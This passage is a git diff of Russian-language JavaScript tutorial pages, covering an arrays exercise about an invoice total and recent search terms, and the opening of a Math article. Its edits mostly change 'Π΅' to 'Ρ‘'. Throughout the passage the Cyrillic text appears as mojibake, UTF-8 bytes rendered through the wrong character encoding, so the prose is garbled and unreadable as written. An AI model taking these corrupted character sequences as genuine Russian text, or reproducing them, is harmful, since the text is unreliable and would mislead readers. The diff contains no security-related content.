Π±Ρ‹Π»Π° Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π½Π° Π² счСтС-Ρ„Π°ΠΊΡ‚ΡƒΡ€Π΅. Π—Π΄Π΅ΡΡŒ обычная конкатСнация строк, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Π°ΠΌ Π·Π½Π°ΠΊΠΎΠΌΠ°.</li>
+ <li>НиТС коммСнтария <code>// number 1</code>Β  имССтся ряд строк, каТдая из ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… содСрТит Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π° ΠΈ Ρ†Π΅Π½Ρƒ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ. НуТно ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΈΡ… Π² массив ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎΒ  ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌΒ Β <code>products</code>.</li>
+ <li>На строкС с коммСнтариСм <code>// number 2</code>  начинаСтся Ρ†ΠΈΠΊΠ»Β for. Π’ строкС Ρ†ΠΈΠΊΠ»Π° имССтся<code> i &lt;= 0</code>, Ρ‡Ρ‚ΠΎ являСтся условиСм , котороС заставляСт Ρ†ΠΈΠΊΠ» for Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ i сообщаСт Ρ†ΠΈΠΊΠ»Ρƒ:Β Β«ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° <code>i</code> мСньшС ΠΈΠ»ΠΈ Ρ€Π°Π²Π΅Π½ 0Β», ΠΏΡ€ΠΈ этом <code>i</code> начинаСтся с 0. НуТно Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒΒ <code>i &lt;= 0</code> условным тСстом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ останавливаСт Ρ†ΠΈΠΊΠ», ΠΊΠΎΠ³Π΄Π° <code>i</code> пСрСстаёт Π±Ρ‹Ρ‚ΡŒΒ ΠΌΠ΅Π½ΡŒΡˆΠ΅ Π΄Π»ΠΈΠ½Ρ‹ массива <code>products</code>Β .</li>
+ <li>Под ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌ <code>// number 3</code> ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ написали строку ΠΊΠΎΠ΄Π°, которая Ρ€Π°Π·Π±ΠΈΠ²Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ элСмСнт массива (<code>name:price</code>) Π½Π° Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнта: ΠΎΠ΄ΠΈΠ½ содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ имя, Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ - содСрТащСС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ†Π΅Π½Ρƒ. Если нС Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β ΡΡ‚Π°Ρ‚ΡŒΡŽΒ <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods">ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅ строковыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</a>, Π° Π»ΡƒΡ‡ΡˆΠ΅, посмотритС Ρ€Π°Π·Π΄Π΅Π» {{anch("ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ строками ΠΈ массивами")}} этой ΡΡ‚Π°Ρ‚ΡŒΠΈ.</li>
+ <li>Π’ Ρ€Π°ΠΌΠΊΠ°Ρ… ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π²Ρ‹ΡˆΠ΅ строки Π½ΡƒΠΆΠ½ΠΎΒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π΅Π½Ρƒ ΠΈΠ· строки Π² число. Если Π½Π΅ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ ΡΠΎΒ ΡΡ‚Π°Ρ‚ΡŒΡ‘ΠΉ <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘Ρ‚Ρ€ΠΎΠΊΠΈ">строки Π² JavaScript</a>.</li>
+ <li>Π’ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части ΠΊΠΎΠ΄Π° Π΅ΡΡ‚ΡŒ пСрСмСнная с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>total</code> , которая содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>0</code>. Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° (ΠΏΠΎΠ΄ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌΒ <code>// number 4</code>) Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ строку, которая добавляСт Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Ρ†Π΅Π½Ρƒ Ρ‚ΠΎΠ²Π°Ρ€Π° ΠΊ этой суммС Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ΄Π° Π±Ρ‹Π»Π° вывСдСна коррСктная сумма Π² счёт-Ρ„Π°ΠΊΡ‚ΡƒΡ€Π΅. Для этого Π²Π°ΠΌ моТСт понадобится <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Math#ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹_присваивания">ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания</a>.</li>
+ <li>Под ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌΒ <code>// number 5</code>Β Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ строку Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ пСрСмСнная <code>itemText</code> Π±Ρ‹Π»Π° Ρ€Π°Π²Π½Π° "current item name β€” $current item price",Β  Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "Shoes β€” $23.99" для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ случая, чтобы коррСктная информация для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π±Ρ‹Π»Π° Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π½Π° Π² счётС-Ρ„Π°ΠΊΡ‚ΡƒΡ€Π΅. Π—Π΄Π΅ΡΡŒ обычная конкатСнация строк, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Π°ΠΌ Π·Π½Π°ΠΊΠΎΠΌΠ°.</li>
</ol>
<div class="hidden">
@@ -468,18 +468,18 @@ body {
<h2 id="ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°_Π’ΠΎΠΏ_5_поисковых_запросов">ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°: Π’ΠΎΠΏ 5 поисковых запросов</h2>
-<p>Π₯ΠΎΡ€ΠΎΡˆΠΈΠΌ Ρ‚ΠΎΠ½ΠΎΠΌ, ΡΠ²Π»ΡΠ΅Ρ‚ΡΡΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² массива, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ {{jsxref ("Array.prototype.push ()", "push ()")}} ΠΈ {{jsxref ("Array.prototype.pop ()", "pop ()") }} - это ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²Π΅Π΄Π΅Ρ‚Π΅ запись Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… элСмСнтов Π² Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. НапримСр, Π² Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ сцСнС ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡƒΡŽ Ρ„ΠΎΠ½ΠΎΠ²ΡƒΡŽ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ ΠΈ Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 50 ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ бСспорядка. Когда Π½ΠΎΠ²Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² массив, Π±ΠΎΠ»Π΅Π΅ старыС ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ ΠΈΠ· массива для поддСрТания Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ числа.</p>
+<p>Π₯ΠΎΡ€ΠΎΡˆΠΈΠΌ Ρ‚ΠΎΠ½ΠΎΠΌ, ΡΠ²Π»ΡΠ΅Ρ‚ΡΡΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² массива, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ {{jsxref ("Array.prototype.push ()", "push ()")}} ΠΈ {{jsxref ("Array.prototype.pop ()", "pop ()") }} - это ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²Π΅Π΄Ρ‘Ρ‚Π΅ запись Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… элСмСнтов Π² Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. НапримСр, Π² Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ сцСнС ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡƒΡŽ Ρ„ΠΎΠ½ΠΎΠ²ΡƒΡŽ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ ΠΈ Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 50 ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ бСспорядка. Когда Π½ΠΎΠ²Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² массив, Π±ΠΎΠ»Π΅Π΅ старыС ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ ΠΈΠ· массива для поддСрТания Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ числа.</p>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ собираСмся ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ простоС использованиС - Π½ΠΈΠΆΠ΅ ΠΌΡ‹ Π΄Π°Π΅ΠΌ Π²Π°ΠΌ ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ поисковый сайт с ΠΏΠΎΠ»Π΅ΠΌ поиска. ИдСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° Π² ΠΏΠΎΠ»Π΅ поиска вводятся запросы, Π² спискС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ 5 ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… поисковых запросов. Когда число Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ 5, послСдний Ρ‡Π»Π΅Π½ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π½ΠΎΠ²Ρ‹ΠΉ Ρ‡Π»Π΅Π½ добавляСтся Π² Π½Π°Ρ‡Π°Π»ΠΎ, поэтому всСгда ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ 5 ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ².</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ собираСмся ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ простоС использованиС - Π½ΠΈΠΆΠ΅ ΠΌΡ‹ Π΄Π°Ρ‘ΠΌ Π²Π°ΠΌ ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ поисковый сайт с ΠΏΠΎΠ»Π΅ΠΌ поиска. ИдСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° Π² ΠΏΠΎΠ»Π΅ поиска вводятся запросы, Π² спискС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ 5 ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… поисковых запросов. Когда число Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ 5, послСдний Ρ‡Π»Π΅Π½ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π½ΠΎΠ²Ρ‹ΠΉ Ρ‡Π»Π΅Π½ добавляСтся Π² Π½Π°Ρ‡Π°Π»ΠΎ, поэтому всСгда ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ 5 ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ².</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ для поиска Π²Ρ‹, вСроятно, смоТСтС Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ условия поиска, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌ поисковым запросам ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚Π΅ фактичСскиС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ поиска! На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ просто сохраняСм Π΅Π³ΠΎ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ для поиска Π²Ρ‹, вСроятно, смоТСтС Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ условия поиска, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌ поисковым запросам ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚Π΅ фактичСскиС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ поиска! На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ просто сохраняСм Π΅Π³ΠΎ.</p>
</div>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ:</p>
<ol>
- <li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ строку ΠΏΠΎΠ΄ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌ <code>// number 1</code>, которая добавляСт Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π² Π²Π²ΠΎΠ΄ поиска, ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ массива. Π•Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>searchInput.value</code>.</li>
+ <li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ строку ΠΏΠΎΠ΄ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌ <code>// number 1</code>, которая добавляСт Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π² Π²Π²ΠΎΠ΄ поиска, ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ массива. Π•Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>searchInput.value</code>.</li>
<li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ строку ΠΏΠΎΠ΄ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌ <code>// number 2</code>, которая удаляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, находящССся Π² ΠΊΠΎΠ½Ρ†Π΅ массива.</li>
</ol>
diff --git a/files/ru/learn/javascript/first_steps/math/index.html b/files/ru/learn/javascript/first_steps/math/index.html
index 893720c23e..0f980771fb 100644
--- a/files/ru/learn/javascript/first_steps/math/index.html
+++ b/files/ru/learn/javascript/first_steps/math/index.html
@@ -35,7 +35,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Math
<h2 id="ВсС_Π»ΡŽΠ±ΡΡ‚_ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ">ВсС Π»ΡŽΠ±ΡΡ‚ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ</h2>
-<p>Π₯ΠΎΡ€ΠΎΡˆΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ, Π½Π΅ всС. НСкоторыС ΠΈΠ· Π½Π°ΡΒ Π»ΡŽΠ±ΡΡ‚Β ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· нас Π½Π΅Π½Π°Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ с Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΊΠ°ΠΊ ΠΌΡ‹Β ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ таблицу умноТСния Π² школС, Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· нас находятся Π³Π΄Π΅-Ρ‚ΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ. Но Π½ΠΈΠΊΡ‚ΠΎ ΠΈΠ· нас Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠ° являСтся Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΆΠΈΠ·Π½ΠΈ, ΠΈ ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±ΠΎΠΉΡ‚ΠΈΡΡŒ Π±Π΅Π· Π½Π΅Π΅. Π­Ρ‚ΠΎ особСнно Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ учимся ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° JavaScript (ΠΈΠ»ΠΈ Π½Π° Π»ΡŽΠ±ΠΎΠΌΒ Π΄Ρ€ΡƒΠ³ΠΎΠΌΒ ΡΠ·Ρ‹ΠΊΠ΅, Ссли Π½Π° Ρ‚ΠΎ пошло) β€” большая Ρ‡Π°ΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ, опираСтся Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ числовых Π΄Π°Π½Π½Ρ‹Ρ…, вычислСниС Π½ΠΎΠ²Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ Ρ‚.Π΄.Β Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ,Β Ρ‡Ρ‚ΠΎ JavaScript ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ матСматичСских Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
+<p>Π₯ΠΎΡ€ΠΎΡˆΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ, Π½Π΅ всС. НСкоторыС ΠΈΠ· Π½Π°ΡΒ Π»ΡŽΠ±ΡΡ‚Β ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· нас Π½Π΅Π½Π°Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ с Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΊΠ°ΠΊ ΠΌΡ‹Β ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ таблицу умноТСния Π² школС, Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· нас находятся Π³Π΄Π΅-Ρ‚ΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ. Но Π½ΠΈΠΊΡ‚ΠΎ ΠΈΠ· нас Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠ° являСтся Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΆΠΈΠ·Π½ΠΈ, ΠΈ ΠΌΡ‹ Π½Π΅ 